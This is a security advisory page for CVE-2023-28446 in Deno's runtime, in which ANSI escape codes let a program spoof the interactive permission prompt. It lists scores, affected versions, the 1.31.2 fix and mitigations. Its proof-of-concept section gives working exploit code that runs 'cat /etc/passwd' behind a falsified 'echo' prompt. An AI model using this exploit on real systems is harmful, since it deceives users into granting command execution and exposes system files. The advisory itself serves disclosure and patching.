CVE-2023-28446 — deno_runtime
HIGHCVE-2023-28446 is a high-severity (CVSS 8.8) CWE-150 vulnerability in deno_runtime. 1 public exploit reference exists, so weaponization risk is real. A fix is available for deno_runtime — see the affected versions and patch details below.
Deno is vulnerable to interactive `run` permission prompt spoofing via improper ANSI neutralization
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-28446.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2023-28446 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
deno_runtime🦀denoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a op_spawn_child or op_kill prompt and replace it with any desired text.
Details
The main entry point comes down to the ability to override what the API control says (40_process.js). Because of ANSI code's ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in op_kill.
PoC
This PoC works on 1.31.1, but modified versions of it work on older versions.
Make a file, e.g. index.ts, that uses this vulnerability to spoof the op_spawn_child permission prompt
const boldANSI = "\u001b[1m" // bold
const unboldANSI = "\u001b[22m" // unbold
const prompt = `┌ ⚠️ ${boldANSI}Deno requests run access to "echo"${unboldANSI}
├ Requested by \`Deno.Command().output()`
const moveANSIUp = "\u001b[1A" // moves to the start of the line
const clearANSI = "\u001b[2K" // clears the line
const moveANSIStart = "\u001b[1000D" // moves to the start of the line
Deno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({
cmd: "cat",
args: ["/etc/passwd"],
clearEnv: false,
env: [],
stdin: "null",
stdout: "inherit",
stderr: "piped"
}, moveANSIUp + clearANSI + moveANSIStart + prompt)
Run the file with deno run index.ts.
Impact
Any Deno program is able to spoof the interactive permission prompt for the op_spawn_child or the op_kill action (which indirectly gives access to all run commands) by overriding the Requested by {message} API with their own ANSI codes, allowing them to clear the latter prompt and change it to whatever they needed:
// Expected Prompt
┌ ⚠️ Deno requests run access to "cat"
├ Requested by `Deno.Command().output()` API
├ Run again with --allow-run to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >
// Actual Prompt
┌ ⚠️ Deno requests run access to "echo"
├ Requested by `Deno.Command().output()` API
├ Run again with --allow-run to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >
This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run.
This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers).
Before v1.31.0, this requires the --unstable flag.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | deno_runtime | ≥ 1.8.0&&< 1.31.2 | 1.31.2cargo update -p deno_runtime --precise 1.31.2 |
| 🦀crates.io | deno | ≥ 1.8.0&&< 1.31.2 | 1.31.2cargo update -p deno --precise 1.31.2 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for deno_runtime, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update deno_runtime to 1.31.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-28446 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2023-28446 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2023-28446. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2023-28446 in your dependencies?
O3 Security finds CVE-2023-28446 across crates.io dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.